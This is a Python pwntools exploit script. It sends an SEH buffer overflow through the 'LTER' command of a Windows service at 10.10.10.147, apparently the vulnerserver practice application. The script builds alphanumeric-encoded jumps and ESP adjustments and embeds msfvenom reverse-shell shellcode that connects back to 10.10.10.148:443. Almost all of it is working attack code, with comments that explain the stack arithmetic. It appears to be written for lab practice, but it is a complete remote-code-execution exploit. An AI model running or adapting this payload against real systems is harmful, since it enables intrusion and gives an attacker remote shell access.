from pwn import *

host = "10.10.10.147"
port = 9999

# seh = 676a6261 = 3519
# nSeh = = 666a6261 = 3515
# PPR = 6250172b

# Distance from current esp to bottom of "D" buffer:
# ----------------------------------------------------

# 11f2 => need to get rid of the bad chars
# 11 - 01 = 10
# f2 - 7f = 73
# add ax, 0x1073 => add the two results
# add ax, 0x17f => add what was subtracted
# See espAdj
# ------------------------------------------------------


seh = p32(0x6250172b) # PPR ascii safe
nSeh = p32(0x4750674) # NetJump Technique

# This primes ESP so that the short jump below ends up at the end of buffer we currently live in
espAdj = '\x54\x58' # push esp ; pop eax
espAdj += '\x66\x05\x73\x10' # add ax, 0x1064
espAdj += '\x66\x05\x7f\x01' # add ax, 0x17f
espAdj += '\x50\x5c' # push eax ; pop esp


# Encoded short jump (eb80)
jump = ""
jump += "\x25\x4a\x4d\x4e\x55" # and eax, 554e4d4a 
jump += "\x25\x35\x32\x31\x2a" # and eax, 2a313235 = > zero out EAX
jump += "\x05\x75\x40\x48\x48" # and eax, 48484075
jump += "\x05\x76\x40\x48\x48" # and eax, 48484076 => put 909080eb (jump) into EAX
jump += "\x50" # push eax


# Primes ESP to point at the end of the buffer right above the SEH overflow code
espAdj2 = '\x54\x58' # push esp ; pop eax
espAdj2 += '\x2c\x37' # sub al, 0x37
espAdj2 += '\x50\x5c' # push eax, pop esp




# 545b81ebba0d0000ffd3 => push esp ; pop ebx ; sub ebx, 0xdba ; call ebx

# encoded instructions that adjust ebx to go to the top of the 
#first "B" buffer that is sent
longJump = '\x54\x5b' # push esp ; pop ebx
longJump += "\x25\x4a\x4d\x4e\x55" # and eax, 554e4d4a
longJump += "\x25\x35\x32\x31\x2a" # and eax, 2a313235 => zero out Eax
longJump += "\x05\x03\x03\x58\x49" #
longJump += "\x05\x03\x03\x58\x49"
longJump += "\x05\x03\x03\x58\x4a"
longJump += "\x2d\x09\x09\x09\x09"
longJump += "\x50" # push eax
longJump += "\x25\x4a\x4d\x4e\x55"
longJump += "\x25\x35\x32\x31\x2a"
longJump += "\x05\x40\x75\x5d\x06"
longJump += "\x05\x41\x76\x5d\x07"
longJump += "\x50" # push eax


# Final priming of ESP to take EBX (which already points to the top of the first "B" buffer)
# This will add 7 bytes to it (was 6 but that made ESP not divisible by 4, so made 7 and added \x42 padding)
# This is purely to align ESP to the top of the shellcode, so that you can use BufferRegister=ESP in msfvenom


espAdj3 = "\x53\x58" # push ebx ; pop eax
espAdj3 += "\x04\x07" # add al, 0x7
espAdj3 += "\x42\x50\x5c" # push eax ; pop esp




# msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp EXITFUNC=seh LHOST=10.10.10.148 LPORT=443 -f python -b '\x00' -e x86/alpha_mixed BufferRegister=ESP

buf =  ""
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x59\x6c\x79\x78\x6e\x62\x47\x70\x57\x70\x65\x50\x31"
buf += "\x70\x6e\x69\x48\x65\x35\x61\x4f\x30\x33\x54\x6e\x6b"
buf += "\x76\x30\x56\x50\x6c\x4b\x43\x62\x34\x4c\x6c\x4b\x51"
buf += "\x42\x47\x64\x4e\x6b\x43\x42\x45\x78\x64\x4f\x68\x37"
buf += "\x50\x4a\x67\x56\x65\x61\x6b\x4f\x6c\x6c\x67\x4c\x73"
buf += "\x51\x73\x4c\x57\x72\x54\x6c\x71\x30\x6b\x71\x68\x4f"
buf += "\x34\x4d\x53\x31\x68\x47\x79\x72\x78\x72\x33\x62\x32"
buf += "\x77\x4e\x6b\x73\x62\x64\x50\x6e\x6b\x71\x5a\x65\x6c"
buf += "\x4c\x4b\x50\x4c\x46\x71\x72\x58\x58\x63\x70\x48\x66"
buf += "\x61\x78\x51\x36\x31\x6e\x6b\x52\x79\x57\x50\x77\x71"
buf += "\x6b\x63\x6e\x6b\x70\x49\x65\x48\x38\x63\x47\x4a\x61"
buf += "\x59\x6e\x6b\x36\x54\x4e\x6b\x63\x31\x4a\x76\x44\x71"
buf += "\x49\x6f\x4c\x6c\x7a\x61\x38\x4f\x66\x6d\x33\x31\x6a"
buf += "\x67\x65\x68\x79\x70\x73\x45\x6c\x36\x73\x33\x43\x4d"
buf += "\x38\x78\x55\x6b\x53\x4d\x31\x34\x34\x35\x68\x64\x31"
buf += "\x48\x4c\x4b\x42\x78\x34\x64\x65\x51\x4a\x73\x50\x66"
buf += "\x6e\x6b\x54\x4c\x70\x4b\x6c\x4b\x70\x58\x65\x4c\x75"
buf += "\x51\x48\x53\x4e\x6b\x34\x44\x6e\x6b\x73\x31\x68\x50"
buf += "\x6c\x49\x72\x64\x71\x34\x45\x74\x33\x6b\x61\x4b\x43"
buf += "\x51\x36\x39\x52\x7a\x76\x31\x4b\x4f\x49\x70\x43\x6f"
buf += "\x63\x6f\x72\x7a\x4c\x4b\x66\x72\x78\x6b\x4c\x4d\x33"
buf += "\x6d\x71\x78\x36\x53\x67\x42\x77\x70\x67\x70\x72\x48"
buf += "\x62\x57\x63\x43\x74\x72\x61\x4f\x63\x64\x52\x48\x62"
buf += "\x6c\x30\x77\x75\x76\x33\x37\x69\x6f\x38\x55\x6f\x48"
buf += "\x6c\x50\x56\x61\x63\x30\x73\x30\x64\x69\x68\x44\x70"
buf += "\x54\x52\x70\x73\x58\x65\x79\x6d\x50\x52\x4b\x45\x50"
buf += "\x49\x6f\x6a\x75\x66\x30\x70\x50\x76\x30\x56\x30\x67"
buf += "\x30\x42\x70\x73\x70\x32\x70\x72\x48\x69\x7a\x56\x6f"
buf += "\x6b\x6f\x4d\x30\x4b\x4f\x6a\x75\x6d\x47\x62\x4a\x55"
buf += "\x55\x73\x58\x55\x5a\x67\x7a\x47\x7a\x5a\x36\x70\x68"
buf += "\x43\x32\x43\x30\x45\x51\x4f\x4b\x4b\x39\x59\x76\x63"
buf += "\x5a\x76\x70\x42\x76\x42\x77\x51\x78\x6e\x79\x6d\x75"
buf += "\x61\x64\x65\x31\x6b\x4f\x58\x55\x6e\x65\x69\x50\x54"
buf += "\x34\x54\x4c\x6b\x4f\x70\x4e\x63\x38\x54\x35\x5a\x4c"
buf += "\x73\x58\x4c\x30\x48\x35\x59\x32\x53\x66\x4b\x4f\x48"
buf += "\x55\x45\x38\x51\x73\x72\x4d\x45\x34\x37\x70\x4e\x69"
buf += "\x4b\x53\x46\x37\x42\x77\x50\x57\x65\x61\x4b\x46\x42"
buf += "\x4a\x55\x42\x62\x79\x50\x56\x4b\x52\x59\x6d\x42\x46"
buf += "\x48\x47\x43\x74\x37\x54\x45\x6c\x33\x31\x75\x51\x4c"
buf += "\x4d\x72\x64\x37\x54\x56\x70\x6a\x66\x65\x50\x47\x34"
buf += "\x33\x64\x70\x50\x50\x56\x63\x66\x71\x46\x72\x66\x32"
buf += "\x76\x42\x6e\x71\x46\x30\x56\x72\x73\x42\x76\x61\x78"
buf += "\x34\x39\x58\x4c\x57\x4f\x4e\x66\x6b\x4f\x69\x45\x4e"
buf += "\x69\x6b\x50\x30\x4e\x73\x66\x61\x56\x6b\x4f\x56\x50"
buf += "\x75\x38\x37\x78\x6b\x37\x37\x6d\x63\x50\x6b\x4f\x6e"
buf += "\x35\x6f\x4b\x6b\x4e\x46\x6e\x56\x52\x58\x6a\x45\x38"
buf += "\x4c\x66\x6a\x35\x4f\x4d\x4f\x6d\x59\x6f\x4a\x75\x45"
buf += "\x6c\x54\x46\x43\x4c\x55\x5a\x4f\x70\x4b\x4b\x69\x70"
buf += "\x61\x65\x76\x65\x6f\x4b\x32\x67\x75\x43\x43\x42\x42"
buf += "\x4f\x31\x7a\x57\x70\x76\x33\x39\x6f\x49\x45\x41\x41"





buffer = espAdj3
buffer += buf 
buffer += "B" * (3443 - len(espAdj3) - len(buf))  
buffer += espAdj2
buffer += longJump
buffer += "B" * (3515 - 3443 - len(espAdj2) - len(longJump))
buffer += nSeh
buffer += seh
buffer += espAdj
buffer += jump
buffer += "B" * (5011 - len(buffer))


conn = remote(host, port)
conn.send("LTER /.:/" + buffer)
conn.close()

